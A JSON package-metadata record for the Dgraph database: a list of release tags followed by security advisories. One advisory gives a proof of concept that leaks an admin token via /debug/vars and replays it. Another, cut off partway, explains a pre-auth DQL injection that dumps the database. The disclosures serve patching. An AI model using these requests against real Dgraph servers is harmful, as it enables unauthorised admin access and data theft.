ag/v1.0.6-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.6-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.6-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.6-rc1/manifests"},{"name":"v1.0.6","sha":"ae8e5ffd354c48429b7e3ffb65ffaa03af52f0f3","kind":"tag","published_at":"2018-06-30T02:28:37.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.6/manifests"},{"name":"nightly","sha":"7796a402fd3499a88c23a25ba501280cfdf1a300","kind":"commit","published_at":"2018-05-16T06:32:24.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/nightly","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/nightly","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@nightly","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/nightly","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/nightly/manifests"},{"name":"v1.0.5","sha":"827874147bf416a8cec0c205d815f8a585946cbd","kind":"tag","published_at":"2018-04-20T05:51:14.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"aad5907216cab3fb4df720ace5953452a781604d","kind":"tag","published_at":"2018-03-09T06:38:10.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"e28847e7e39c1a7e50670989cb0adbbfd7d44692","kind":"tag","published_at":"2018-02-07T23:43:58.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"fb2d3d3f97d19dfc08d016162f718fe4972ca946","kind":"tag","published_at":"2018-01-17T05:01:11.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"ebce34814669eec560519aa106841f066ff4e9fc","kind":"tag","published_at":"2017-12-20T08:30:05.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"fce3249b0161fc234451cbe95eb11349dae6c11b","kind":"tag","published_at":"2017-12-18T09:03:28.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v1.0.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v1.0.0/manifests"},{"name":"v0.9.4","sha":"779fc7872ba6666d83c0922e80cd66079e6170da","kind":"tag","published_at":"2017-12-04T06:57:43.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.9.4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.4/manifests"},{"name":"v0.9.3","sha":"6e07f3b6eb09420c3f7a07dcaf572af1e26ca03d","kind":"tag","published_at":"2017-12-01T03:28:58.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.9.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.3/manifests"},{"name":"v0.9.2","sha":"de7a0bc1da84304e8923a9eedf5aed676a59ebfc","kind":"tag","published_at":"2017-11-20T04:36:10.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.9.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"b49198be0a95e0468b100eea71ed0039c9d5b659","kind":"tag","published_at":"2017-11-15T04:52:53.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.9.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"0cbe6030569452f29dbaab6e37a2311b4800b71c","kind":"tag","published_at":"2017-11-14T03:07:30.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.9.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.9.0/manifests"},{"name":"v0.8.3","sha":"ca68a34d39afce6ffaf47befefccc0bc3e044c06","kind":"tag","published_at":"2017-10-09T01:24:54.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.8.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"185136ca8102bf7246759463d654a9ec0f7d1e75","kind":"tag","published_at":"2017-09-20T03:49:47.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.8.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"20ae2c4e94fc6fc335b5685010a7ef39169f1273","kind":"tag","published_at":"2017-08-16T00:54:13.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.8.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"7476fa334ea61ababfe91ec132ec269599253530","kind":"tag","published_at":"2017-07-17T08:01:51.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.8.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.8.0/manifests"},{"name":"v0.7.7","sha":"d768a377217df0381ef35ed38c3d215e94b4fd35","kind":"tag","published_at":"2017-05-22T23:59:18.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.7.7","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"5f7eb7555457d7d4262122279c4f0a8e3150ece4","kind":"tag","published_at":"2017-05-01T04:49:50.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.7.6","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"b4da7a284d4117d842be6b97f5a96854d57fce27","kind":"tag","published_at":"2017-04-10T06:47:23.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.7.5","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"11a72c806ebecfe019610466e77ca95f3a56ef0f","kind":"tag","published_at":"2017-03-31T00:24:43.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.7.4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"c7718a99ddd01272caccb2090f9b3dd67e42639b","kind":"tag","published_at":"2017-02-22T09:16:22.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.7.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.3/manifests"},{"name":"v0.7.2-1","sha":"625a9d81f15504071b67f8ae3c22e3686ba3ee12","kind":"tag","published_at":"2017-02-10T03:28:51.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.7.2-1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.7.2-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.7.2-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.2-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.2-1/manifests"},{"name":"v0.7.2","sha":"d22e3369570fc8a5bf42b2a353888abad41ec9a9","kind":"tag","published_at":"2017-01-27T06:57:30.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.7.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"67c5430b01cb4e01e997a84d980f0b888bb4f8de","kind":"tag","published_at":"2016-12-26T03:35:34.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.7.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"8a37267a991c6bc824e5fe0187e012e2baa808fa","kind":"tag","published_at":"2016-12-08T02:19:48.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.7.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.7.0/manifests"},{"name":"v0.4.4","sha":"42dd7e13809b5d66eb76fbfde008b14f31676f2c","kind":"tag","published_at":"2016-09-02T08:38:28.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.4.4","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"ec3fac4a8a138918b79a00cba5c87db25d5a1081","kind":"commit","published_at":"2016-08-11T10:13:04.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.4.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"381cf599ea3808b95c7fca71ed4514668bfc1f4a","kind":"tag","published_at":"2016-07-13T07:06:08.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.4.2","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"17d63d5b04b11b484d33eb3c7441bdd4a128fab9","kind":"tag","published_at":"2016-07-13T04:08:15.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.4.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"22adad5a120dad5163a8392bcc8f61f7ecd9497f","kind":"tag","published_at":"2016-07-11T07:06:30.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.4.0","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.4.0/manifests"},{"name":"v0.3","sha":"cc29aedc773449b79cfa4f98a9e098fac8623093","kind":"tag","published_at":"2016-05-23T06:21:24.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v0.3","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v0.3/manifests"}]},"repo_metadata_updated_at":"2026-10-07T20:08:40.943Z","dependent_packages_count":13,"downloads":null,"downloads_period":null,"dependent_repos_count":9,"rankings":{"downloads":null,"dependent_repos_count":1.7343012226285017,"dependent_packages_count":1.4197172534445648,"stargazers_count":0.23888034438666098,"forks_count":0.6399399956512806,"docker_downloads_count":0.35298435857385946,"average":0.8771646349369735},"purl":"pkg:golang/github.com/dgraph-io/dgraph","advisories":[{"uuid":"GSA_kwCzR0hTQS12dmY3LTZybXItbTI5cc4ABVwz","url":"https://github.com/advisories/GHSA-vvf7-6rmr-m29q","title":"Dgraph: Unauthenticated Admin Token Disclosure Leading to Authentication Bypass via /debug/vars","description":"### Summary\nDgraph `v25.3.2` still exposes the process command line through the unauthenticated `/debug/vars` endpoint on Alpha. Because the admin token is commonly supplied via the `--security \"token=...\"` startup flag, an unauthenticated attacker can retrieve that token and replay it in the `X-Dgraph-AuthToken` header to access admin-only endpoints.\n\nThis is a variant of the previously fixed `/debug/pprof/cmdline` issue, but the current fix is incomplete because it blocks only `/debug/pprof/cmdline` and still serves `http.DefaultServeMux`, which includes `expvar`'s `/debug/vars` handler.\n\n### Details\nAlpha still exposes Go's default HTTP mux:\n\n- `x/metrics.go`\n  - imports `expvar`\n  - initializes `Conf = expvar.NewMap(\"dgraph_config\")`\n- Go's `expvar` package automatically registers `/debug/vars`\n- `expvar` publishes:\n  - `cmdline = os.Args`\n  - `memstats = runtime.Memstats`\n\nAlpha's HTTP handler explicitly blocks only the old CVE path:\n\n- `dgraph/cmd/alpha/run.go`\n  - checks `if r.URL.Path == \"/debug/pprof/cmdline\"` and returns `404`\n  - otherwise falls through to `http.DefaultServeMux.ServeHTTP(w, r)`\n\nAdmin endpoints still trust the leaked token:\n\n- `dgraph/cmd/alpha/admin.go`\n  - reads `X-Dgraph-AuthToken`\n  - compares it to `worker.Config.AuthToken`\n### PoC\n1. Send an unauthenticated request to Alpha:\n\n```http\nGET /debug/vars HTTP/1.1\nHost: target:8080\n```\n\n2. Parse the JSON response and read the `cmdline` field.\n\n3. Extract the admin token from the startup arguments, for example:\n\n```text\n--security token=debug-vars-secret;\n```\n\n4. Replay the token to an admin-only endpoint:\n\n```http\nGET /admin/config/cache_mb HTTP/1.1\nHost: target:8080\nX-Dgraph-AuthToken: debug-vars-secret\n```\n\n5. The request is accepted as an authorized admin request.\n\nThis was reproduced against `dgraph/dgraph:v25.3.2` in Docker.\n\nObserved behavior:\n\n- unauthenticated `/debug/vars` leaked the configured token\n- replaying the leaked token in `X-Dgraph-AuthToken` successfully accessed `/admin/config/cache_mb`\n- response body was:\n\n```text\n4096\n```\n\nIt was verified that the old CVE path appears specifically patched in the same version:\n\n- `/debug/pprof/cmdline` returned `404 Not Found`\n- `/debug/pprof/` remained reachable\n\n### Impact\nUnauthenticated attackers can obtain the Alpha admin token and gain unauthorized administrative access.\n\nThis enables privileged admin operations such as:\n\n- reading privileged admin configuration\n- mutating admin configuration\n- performing operational control actions gated by `X-Dgraph-AuthToken`\n\nIn deployments where the Alpha HTTP port is reachable by untrusted parties, this is a practical authentication bypass to admin functionality.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-24T16:15:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/dgraph-io/dgraph/security/advisories/GHSA-vvf7-6rmr-m29q","https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3","https://nvd.nist.gov/vuln/detail/CVE-2026-41492","https://github.com/advisories/GHSA-vvf7-6rmr-m29q"],"source_kind":"github","identifiers":["GHSA-vvf7-6rmr-m29q","CVE-2026-41492"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-24T17:00:08.924Z","updated_at":"2026-09-25T12:04:14.077Z","epss_percentage":0.02463,"epss_percentile":0.83766,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12dmY3LTZybXItbTI5cc4ABVwz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12dmY3LTZybXItbTI5cc4ABVwz","packages":[{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.2.8"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v24","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 24.1.8"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv24"},{"ecosystem":"go","package_name":"github.com/dgraph-io/dgraph/v25","versions":[{"first_patched_version":"25.3.3","vulnerable_version_range":"\u003c 25.3.3"}],"purl":"pkg:go/github.com%2Fdgraph-io%2Fdgraph%2Fv25"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12dmY3LTZybXItbTI5cc4ABVwz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14OTJ4LXB4N3ctNGd4NM4ABVwr","url":"https://github.com/advisories/GHSA-x92x-px7w-4gx4","title":"Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field","description":"## 1. Executive Summary\n\nA vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.\n\nThe attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with `@unique @index(exact) @lang` via `/alter` (also unauthenticated in default config). The second sends a crafted JSON mutation to `/mutate?commitNow=true` where a JSON key contains the predicate name followed by `@` and a DQL injection payload in the language tag position.\n\nThe injection exploits the `addQueryIfUnique` function in `edgraph/server.go`, which constructs DQL queries using `fmt.Sprintf` with unsanitized `predicateName` that includes the raw `pred.Lang` value. The `Lang` field is extracted from JSON mutation keys by `x.PredicateLang()`, which splits on `@`, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the `eq()` function, adds an arbitrary named query block, and uses a `#` comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.\n\nPOC clip: \n\nhttps://github.com/user-attachments/assets/bbfb7bba-c957-4b57-b534-48a958314186\n\n\n\n## 2. CVSS Score\n\n**CVSS 3.1: 9.1 (Critical)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\n\n| Metric              | Value     | Rationale                                                                                                                          |\n| ------------------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------- |\n| Attack Vector       | Network   | HTTP POST to port 8080                                                                                                             |\n| Attack Complexity   | Low       | Two requests, deterministic outcome, no special conditions                                                                         |\n| Privileges Required | None      | No authentication when ACL is disabled (default)                                                                                   |\n| User Interaction    | None      | Fully automated                                                                                                                    |\n| Scope               | Unchanged | Stays within the Dgraph data layer                                                                                                 |\n| Confidentiality     | High      | Full database exfiltration: all nodes, all predicates, all values                                                                  |\n| Integrity           | High      | The mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter |\n| Availability        | None      | No denial of service                                                                                                               |\n\n\n## 3. Vulnerability Summary\n\n\n| Field | Value                                                                       |\n| ----- | --------------------------------------------------------------------------- |\n| Title | Pre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique |\n| Type  | Injection                                                                   |\n| CWE   | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)   |\n| CVSS  | 9.8                                                                         |\n\n\n## 4. Target Information\n\n\n| Field                 | Value                                                                                                                    |\n| --------------------- | ------------------------------------------------------------------------------------------------------------------------ |\n| Project               | Dgraph                                                                                                                   |\n| Repository            | [https://github.com/dgraph-io/dgraph](https://github.com/dgraph-io/dgraph)                                               |\n| Tested version        | v25.3.0                                                                                                                  |\n| Lang split            | `x/x.go` line 919 (`PredicateLang` splits on `@`, returns everything after as `Lang`)                                    |\n| Lang assignment       | `chunker/json_parser.go` line 524 (`nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)`)                              |\n| Validation gap        | `edgraph/server.go` line 2142 (`validateKeys` checks `nq.Predicate` only, never 